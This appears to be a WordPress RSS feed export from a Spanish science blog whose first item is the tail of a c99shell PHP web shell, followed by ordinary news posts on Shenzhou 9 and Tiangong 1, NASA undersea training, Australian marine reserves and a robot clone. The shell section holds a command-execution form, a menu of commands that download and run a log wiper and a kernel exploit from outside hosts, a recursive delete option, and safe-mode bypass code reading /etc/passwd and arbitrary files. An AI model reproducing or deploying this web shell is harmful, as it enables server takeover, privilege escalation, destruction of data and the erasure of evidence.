"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".<br />
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",<br />
"ext_tar"=><br />
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".<br />
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".<br />
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".<br />
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".<br />
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".<br />
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".<br />
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".<br />
"u4tLAgEAOw==",<br />
"ext_txt"=><br />
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".<br />
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".<br />
"UpPWG3Ig6Hq/XmRjuZwkAAA7",<br />
"ext_wri"=><br />
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".<br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".<br />
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",<br />
"ext_xml"=><br />
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".<br />
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".<br />
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".<br />
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".<br />
"IQA7"<br />
 );<br />
 //For simple size- and speed-optimization.<br />
 $imgequals = array(<br />
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),<br />
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),<br />
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),<br />
  "ext_html"=>array("ext_html","ext_htm"),<br />
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),<br />
  "ext_lnk"=>array("ext_lnk","ext_url"),<br />
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),<br />
  "ext_doc"=>array("ext_doc","ext_dot"),<br />
  "ext_js"=>array("ext_js","ext_vbs"),<br />
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),<br />
  "ext_wri"=>array("ext_wri","ext_rtf"),<br />
  "ext_swf"=>array("ext_swf","ext_fla"),<br />
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),<br />
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")<br />
 );<br />
 if (!$getall)<br />
 {<br />
  header("Content-type: image/gif");<br />
  header("Cache-control: public");<br />
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));<br />
  header("Cache-control: max-age=".(60*60*24*7));<br />
  header("Last-Modified: ".date("r",filemtime(__FILE__)));<br />
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}<br />
  if (empty($images[$img])) {$img = "small_unk";}<br />
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}<br />
  echo base64_decode($images[$img]);<br />
 }<br />
 else<br />
 {<br />
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br />");}}}}<br />
  natsort($images);<br />
  $k = array_keys($images);<br />
  echo  "<center>";<br />
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&#038;img=".$u."\" border=\"1\"><br />";}<br />
  echo "</center>";<br />
 }<br />
 exit;<br />
}<br />
if ($act == "about") {echo "<center><b>Credits:<br />Idea, leading and coding by tristram[CCTeaM].<br />Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br />Thanks all who report bugs.<br />All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&#038;img=5\" border=0 align=absmiddle></a>.</b>";}<br />
?>
</td>
</tr>
</table>
<p><a bookmark="minipanel"><br /><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1></p>
<tr>
<td width="100%" height="1" valign="top" colspan="2">
<p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&#038;d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p>
</td>
</tr>
<tr>
<td width="50%" height="1" valign="top"><center><b>Enter: </b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form>
</td>
<td width="50%" height="1" valign="top"><center><b>Select: </b><br />
<form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><br />
<select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<br />
<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>
<p>";} ?></select>
<p><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form>
</td>
</tr>
<p></TABLE><br />
<br />
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1></p>
<tr>
<td height="1" valign="top" colspan="2">
<p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&#038;d=<?php echo urlencode($d); ?>"><b>Shadow's tricks <img src='http://videosdeciencia.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </b></a> ::</b></p>
</td>
</tr>
<tr>
<td width="50%" height="83" valign="top"><center></p>
<div align="center">Useful Commands
    </div>
<form action="<?php echo $surl; ?>"></p>
<div align="center">
        <input type=hidden name=act value="cmd"><br />
        <input type=hidden name="d" value="<?php echo $dispd; ?>"><br />
          <SELECT NAME="cmd"><br />
            <OPTION VALUE="uname -a">Kernel version<br />
              <OPTION VALUE="w">Logged in users<br />
                <OPTION VALUE="lastlog">Last to connect<br />
                  <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins<br />
                    <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!<br />
                    <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?<br />
                    <OPTION VALUE="which wget curl w3m lynx">Downloaders?<br />
                    <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO<br />
                    <OPTION VALUE="netstat -atup | grep IST">Open ports<br />
                    <OPTION VALUE="locate gcc">gcc installed?<br />
					<OPTION VALUE="rm -Rf">Format box (DANGEROUS)<br />
                    <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)<br />
                    <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2<br />
                    <OPTION VALUE="./zap2">WIPELOGS PT3<br />
                    <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)<br />
                    <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)<br />
                    <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)<br />
                    <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)<br />
                    <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)<br />
                    <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)<br />
                  </SELECT><br />
        <input type=hidden name="cmd_txt" value="1"><br />
        &nbsp;<br />
        <input type=submit name=submit value="Execute"><br />
          <br />
        Warning. Kernel may be alerted using higher levels </div>
</p></form>
</td>
<td width="50%" height="83" valign="top"><center><br />
   <center>Kernel Info:<br />
<form name="form1" method="post" action="http://google.com/search">
      <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"><br />
      <input type="hidden" name="client" value="firefox-a"><br />
	  <input type="hidden" name="rls" value="org.mozilla:en-US:official"><br />
	  <input type="hidden" name="hl" value="en"><br />
	  <input type="hidden" name="hs" value="b7p"><br />
	  <input type=submit name="btnG" VALUE="Search"><br />
    </form>
<p></center>
    </td>
</tr>
<p></TABLE><br />
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1></p>
<tr>
<td height="1" valign="top" colspan="2">
<p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&#038;d=<?php echo urlencode($d); ?>"><b>Preddy's tricks <img src='http://videosdeciencia.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </b></a> ::</b></p>
</td>
</tr>
<tr>
<td width="50%" height="83" valign="top"><center></p>
<div align="center">Php Safe-Mode Bypass (Read Files)
    </div>
<p></p>
<form action="<?php echo $surl; ?>"></p>
<div align="center">
      File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"></p>
<p> eg: /etc/passwd</p>
<p>      <?</p>
<p>      function rsg_read()<br />
	{<br />
	$test="";<br />
	$temp=tempnam($test, "cx");<br />
	$file=$_GET['file'];<br />
	$get=htmlspecialchars($file);<br />
	echo "<br />Trying To Get File <font color=#000099><b>$get</b></font><br />";<br />
	if(copy("compress.zlib://".$file, $temp)){<br />
	$fichier = fopen($temp, "r");<br />
	$action = fread($fichier, filesize($temp));<br />
	fclose($fichier);<br />
	$source=htmlspecialchars($action);<br />
	echo "
<div class=\"shell\"><b>Start $get</b></p>
<p><font color=\"white\">$source</font><br /><b><br />Fin <font color=#000099>$get</font></b>";<br />
	unlink($temp);<br />
	} else {<br />
	die("<FONT COLOR=\"RED\"><CENTER>Sorry... File<br />
	<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have<br />
	access.</CENTER></FONT>");<br />
			}<br />
	echo "</div>
<p>";<br />
	}</p>
<p>	if(isset($_GET['file']))<br />
{<br />
rsg_read();<br />
}</p>
<p>	?></p>
<p>	<?</p>
<p>	function rsg_glob()<br />
{<br />
$chemin=$_GET['directory'];<br />
$files = glob("$chemin*");<br />
echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br />";<br />
foreach ($files as $filename) {<br />
	echo "
<pre>";
   echo "$filename\n";
   echo "</pre>
<p>";<br />
}<br />
}</p>
<p>if(isset($_GET['directory']))<br />
{<br />
rsg_glob();<br />
}</p>
<p>?></p>
<p>
      </div>
</p></form>
</td>
<td width="50%" height="83" valign="top"><center><br />
   <center>Php Safe-Mode Bypass (List Directories):<br />
<form action="<?php echo $surl; ?>"></p>
<div align="center">
      Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"></p>
<p> eg: /etc/</p></form>
<p></center>
    </td>
</tr>
<p></TABLE><br />
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1></p>
<tr>
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&#038;d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><br />
<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form>
<p></center></p>
</td>
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&#038;d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><br />
<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br /><?php echo $wdt; ?></form>
<p></center></td>
</tr>
</table>
<p><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br /><?php echo $wdt; ?></form>
<p></center></td>
<td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><br />
<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br /><?php echo $wdt; ?></form>
<p></center></td>
</tr>
</table>
<p><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form>
<p></center></td>
<td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><br />
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form>
<p></center></td>
</tr>
</table>
<p><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td width="990" height="1" valign="top">
<p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow &#038; Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p>
</td>
</tr>
</table>
<p></body></html><?php chdir($lastdir); c99shexit(); ?></p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/21/shell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>El dia que la humanidada tuvo Dos Estanciones Espaciales Operativas al Mismo tiempo</title>
		<link>http://videosdeciencia.com/2012/06/19/el-dia-que-la-humanidada-tuvo-dos-estanciones-espaciales-operativas-al-mismo-tiempo/</link>
		<comments>http://videosdeciencia.com/2012/06/19/el-dia-que-la-humanidada-tuvo-dos-estanciones-espaciales-operativas-al-mismo-tiempo/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 02:36:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astronomia]]></category>
		<category><![CDATA[NASA]]></category>
		<category><![CDATA[Estaciones espaciales]]></category>
		<category><![CDATA[ISS]]></category>
		<category><![CDATA[Jing Haipeng]]></category>
		<category><![CDATA[Liu Wang]]></category>
		<category><![CDATA[Liu Yang]]></category>
		<category><![CDATA[Shenzhou 9]]></category>
		<category><![CDATA[Tiangong 1]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=155</guid>
		<description><![CDATA[La nave tripulada Shenzhou 9 se acopló hoy día 18 de junio a las 06:07 UTC con la estación espacial Tiangong 1. China se ha convertido así en el tercer páis en realizar un acoplamiento tripulado con una estación espacial. Poco después, Jing Haipeng, Liu Wang y Liu Yang entraron en su interior. De este modo, y [...]]]></description>
			<content:encoded><![CDATA[<h3></h3>
<div dir="ltr">La nave tripulada Shenzhou 9 se acopló hoy día 18 de junio a las 06:07 UTC con la estación espacial Tiangong 1. China se ha convertido así en el tercer páis en realizar un acoplamiento tripulado con una estación espacial. Poco después, Jing Haipeng, Liu Wang y Liu Yang entraron en su interior. De este modo, y durante los próximos diez días, la Humanidad tendrá dos espaciales operativas al mismo tiempo, la ISS y la Tiangong 1. Curiosamente, la ISS es la mayor estación espacial jamás construida, mientras que la Tiangong es la estación más pequeña de la historia.</div>
<p><iframe width="420" height="315" src="http://www.youtube.com/embed/II8GALSNRlU" frameborder="0" allowfullscreen></iframe></p>
<div dir="ltr"></div>
<div style="text-align: center;" dir="ltr">
<div><a href="http://1.bp.blogspot.com/-tCo2aXgrQ_g/T9-LSmya1aI/AAAAAAAAqXw/XCf3NmfzDDU/s1600/333.jpg"><img src="http://1.bp.blogspot.com/-tCo2aXgrQ_g/T9-LSmya1aI/AAAAAAAAqXw/XCf3NmfzDDU/s320/333.jpg" alt="" width="320" height="240" border="0" /></a></div>
<div><em><strong>La tripulación de la Shenzhou 9 dentro del Tiangong 1 (CCTV).</strong></em></div>
<div></div>
<p>Eso sí, ésta no es la primera vez que la humanidad dispone de dos estaciones espaciales en activo al mismo tiempo. En 1986, la URSS tuvo las estaciones Mir y Salyut 7 en servicio, y de hecho ambas fueron visitadas por la tripulación de la Soyuz T-15. Más adelante, la Mir permaneció en activo durante las dos primeras misiones del transbordador para el montaje de la ISS en 1998 y 1999 (STS-88 y STS-96). Sin embargo, <strong>sí es la primera vez que dos estaciones espaciales están tripuladas de forma continua al mismo tiempo</strong>.</p>
<div><a href="http://3.bp.blogspot.com/-3xlZMo-ax6w/T9-LT4eWofI/AAAAAAAAqYA/3hGtbqNPwDE/s1600/23223.jpg"><img src="http://3.bp.blogspot.com/-3xlZMo-ax6w/T9-LT4eWofI/AAAAAAAAqYA/3hGtbqNPwDE/s1600/23223.jpg" alt="" border="0" /></a></div>
<div><strong><em>La escotilla del Tiangong vista desde la Shenzhou 9 (CCTV).</em></strong></div>
<div><strong><em><br />
</em></strong></div>
<div><a href="http://1.bp.blogspot.com/-4wRTKLXwQTw/T9-LTQ4y0mI/AAAAAAAAqX4/J2rz_mlQBpI/s1600/1111.jpg"><img src="http://1.bp.blogspot.com/-4wRTKLXwQTw/T9-LTQ4y0mI/AAAAAAAAqX4/J2rz_mlQBpI/s1600/1111.jpg" alt="" border="0" /></a></div>
<div><strong><em>La tripulación durante la maniobra de aproximación (CCTV).</em></strong></div>
<div><strong><em><br />
</em></strong></div>
<div><a href="http://3.bp.blogspot.com/-blc_9OAntuI/T9-LRwfnguI/AAAAAAAAqXs/qh7dC1dC1GA/s1600/222.jpg"><img src="http://3.bp.blogspot.com/-blc_9OAntuI/T9-LRwfnguI/AAAAAAAAqXs/qh7dC1dC1GA/s1600/222.jpg" alt="" border="0" /></a></div>
<div><strong><em>Detalle del sistema de acoplamiento (CCTV).</em></strong></div>
<div><strong><em><br />
</em></strong></div>
<div><a href="http://4.bp.blogspot.com/-18fB5gyppB8/T9-LUmCp4OI/AAAAAAAAqYI/wb4T9sVf3Lk/s1600/2213.jpg"><img src="http://4.bp.blogspot.com/-18fB5gyppB8/T9-LUmCp4OI/AAAAAAAAqYI/wb4T9sVf3Lk/s1600/2213.jpg" alt="" border="0" /></a></div>
<div><strong><em>Vista del Tiangong desde la cámara de la Shenzhou (CCTV).</em></strong></div>
<div></div>
</div>
<div dir="ltr">La operación de acoplamiento fue prácticamente similar a la realizada por la nave no tripulada <a href="http://danielmarin.blogspot.com.es/2011/11/dos-acoplamientos-espaciales-en-un-dia.html">Shenzhou 8</a>, con una velocidad de aproximación de 0,2 m/s. Al igual que en los acoplamientos de los vehículos automáticos HTV y Dragon, la Shenzhou se detuvo en varios puntos de la trayectoria de aproximación (a 5 kilómetros, 400 metros y 140 metros) para asegurarse del funcionamiento de los sistemas antes de seguir adelante. A pesar de que  el tamaño y masa de ambos vehículos son muy similares, la Shenzhou 9 actuó durante la maniobra como nave activa. Durante los diez días que permanecerá en el interior de la estación, la tripulación realizará varios experimentos biomédicos y psicológicos. Los tres astronautas aprovecharán los 40 metros cúbicos de la Tiangong 1 (por comparación, el ATV dispone de 48 m3), ampliados gracias al módulo orbital de la Shenzhou, que se considerará parte de la estación a efectos prácticos durante la misión, de forma parecida a las primeras misiones Soyuz-Salyut.El Tiangong 1 volverá a ser visitado el año que viene por la tripulación de la Shenzhou 10, formada probablemente por tres hombres que permanecerán más de dos semanas en el interior de la estación. En 2014 despegará la Tiangong 2, en principio idéntica a la Tiangong 1.</p>
<p>No todos los días tenemos nueve hombres en el espacio a bordo de dos estaciones espaciales. Hoy es un día importante para la exploración del espacio.</p>
</div>
<div dir="ltr"></div>
<div dir="ltr"><strong>Extraido de :</strong></div>
<div dir="ltr"><a href="http://danielmarin.blogspot.com/">http://danielmarin.blogspot.com/</a></div>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/19/el-dia-que-la-humanidada-tuvo-dos-estanciones-espaciales-operativas-al-mismo-tiempo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Equipo de la NASA entrena en una base subacuática para viajar a asteroides</title>
		<link>http://videosdeciencia.com/2012/06/19/equipo-de-la-nasa-entrena-en-una-base-subacuatica-para-viajar-a-asteroides/</link>
		<comments>http://videosdeciencia.com/2012/06/19/equipo-de-la-nasa-entrena-en-una-base-subacuatica-para-viajar-a-asteroides/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 02:21:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Espacio]]></category>
		<category><![CDATA[NASA]]></category>
		<category><![CDATA[asteroides]]></category>
		<category><![CDATA[astrounautas nasa]]></category>
		<category><![CDATA[entrenamiento asteroides]]></category>
		<category><![CDATA[entrenamiento astrounautas]]></category>
		<category><![CDATA[entrenamiento nasa]]></category>
		<category><![CDATA[Nasa]]></category>
		<category><![CDATA[viajes espaciales]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=151</guid>
		<description><![CDATA[Un equipo de la NASA permanece sumergido en una base subacuática ubicada en los cayos de Florida que recrea las condiciones espaciales, con el objetivo de entrenarse de cara a un viaje tripulado a un asteroide en 2025. Según un comunicado remitido por la NASA, los integrantes de este equipo llevan ya dos días bajo el [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.agenciasinc.es/utils/videofull/98458" scrolling="no" width="600" height="350"></iframe></p>
<p>Un equipo de la NASA permanece sumergido en una base subacuática ubicada en los cayos de Florida que recrea las condiciones espaciales, con el objetivo de entrenarse de cara a un viaje tripulado a un asteroide en 2025. Según un comunicado remitido por la NASA, los integrantes de este equipo llevan ya dos días bajo el agua y continuarán así hasta un total de doce jornadas. Sus actividades se pueden ver a través de internet en tiempo real, así como por medio de redes sociales como Twitter.</p>
<p>&nbsp;</p>
<p><strong>Fuente Oficial:</strong></p>
<p>Efe/Nasa</p>
<p><strong>Extraido de:</strong></p>
<p><a href="http://www.agenciasinc.es/">http://www.agenciasinc.es/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/19/equipo-de-la-nasa-entrena-en-una-base-subacuatica-para-viajar-a-asteroides/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Australia Protege sus reservas Marinas</title>
		<link>http://videosdeciencia.com/2012/06/19/australia-protege-sus-reservas-marinas/</link>
		<comments>http://videosdeciencia.com/2012/06/19/australia-protege-sus-reservas-marinas/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 02:16:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Animales]]></category>
		<category><![CDATA[Biología]]></category>
		<category><![CDATA[Australia]]></category>
		<category><![CDATA[Marino]]></category>
		<category><![CDATA[Reserva Marina]]></category>
		<category><![CDATA[Reserva Marina Australia]]></category>
		<category><![CDATA[Tony Burke]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=148</guid>
		<description><![CDATA[El Gobierno australiano creará la red de reservas marinas mayor del mundo y limitará la explotación de hidrocarburos y la pesca en áreas sensibles para contribuir a la protección de los océanos. La red aumentará el número de reservas de 27 a 60 hasta y abarcará unos 3,1 millones de kilómetros cuadrados, más de un tercio [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.agenciasinc.es/utils/videofull/98480" scrolling="no" width="600" height="350"></iframe></p>
<p>El Gobierno australiano creará la red de reservas marinas mayor del mundo y limitará la explotación de hidrocarburos y la pesca en áreas sensibles para contribuir a la protección de los océanos. La red aumentará el número de reservas de 27 a 60 hasta y abarcará unos 3,1 millones de kilómetros cuadrados, más de un tercio del océano que rodea al país-continente.  &#8221;Es hora de que el mundo de un giro en la protección de nuestros océanos&#8221;, anunció hoy el ministro de Medio Ambiente, Tony Burke, al destacar que así &#8220;Australia hoy liderará este rumbo&#8221; en favor de una gestión más responsable de las áreas marinas y sus recursos.</p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/19/australia-protege-sus-reservas-marinas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Henry Scharfe con su clon robótico</title>
		<link>http://videosdeciencia.com/2012/06/19/henry-scharfe-con-su-clon-robotico/</link>
		<comments>http://videosdeciencia.com/2012/06/19/henry-scharfe-con-su-clon-robotico/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 02:09:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Biología]]></category>
		<category><![CDATA[cientificos]]></category>
		<category><![CDATA[clon]]></category>
		<category><![CDATA[Robotica]]></category>
		<category><![CDATA[Robots]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[clon robotico]]></category>
		<category><![CDATA[novedades robotica]]></category>
		<category><![CDATA[NOvedades tecnologicas]]></category>
		<category><![CDATA[Tecnologica]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=144</guid>
		<description><![CDATA[Los robots humanoides podrán caminar por la calle en diez años y convivir con los seres humanos sin que éstos se percaten de su naturaleza electrónica, aseguró el pasado viernes en Lima el profesor de la Universidad de Aalborg (Dinamarca), Henrik Scharfe, quien ha creado un robot con su misma apariencia. Durante la inauguración de [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.agenciasinc.es/utils/videofull/98591" scrolling="no" width="640" height="400"></iframe></p>
<p>Los robots humanoides podrán caminar por la calle en diez años y convivir con los seres humanos sin que éstos se percaten de su naturaleza electrónica, aseguró el pasado viernes en Lima el profesor de la Universidad de Aalborg (Dinamarca), Henrik Scharfe, quien ha creado un robot con su misma apariencia.<br />
Durante la inauguración de ExpoTic 2012, la primera feria y congreso internacional de infraestructura e innovación tecnológica que se ha celebrado en Lima, Scharfe presentó a Geminoid-DK, un robot creado a su imagen y semejanza, capaz de imitar sus movimientos faciales y mantener conversaciones con su ideólogo. En una conferencia, Scharfe indicó que su clon robótico, que de momento está sentado y conectado a una computadora, podrá caminar por la calle e interactuar con otra gente &#8220;en tan sólo una década, si en ese tiempo se construye infraestructura avanzada, convergen fuentes tecnológicas y sacamos los robots de los laboratorios&#8221;.</p>
<p>Fuente Oficial:</p>
<p>Efe</p>
<p>Extraido de:</p>
<p><a href="http://www.agenciasinc.es/">http://www.agenciasinc.es</a></p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/19/henry-scharfe-con-su-clon-robotico/feed/</wfw:commentRss>
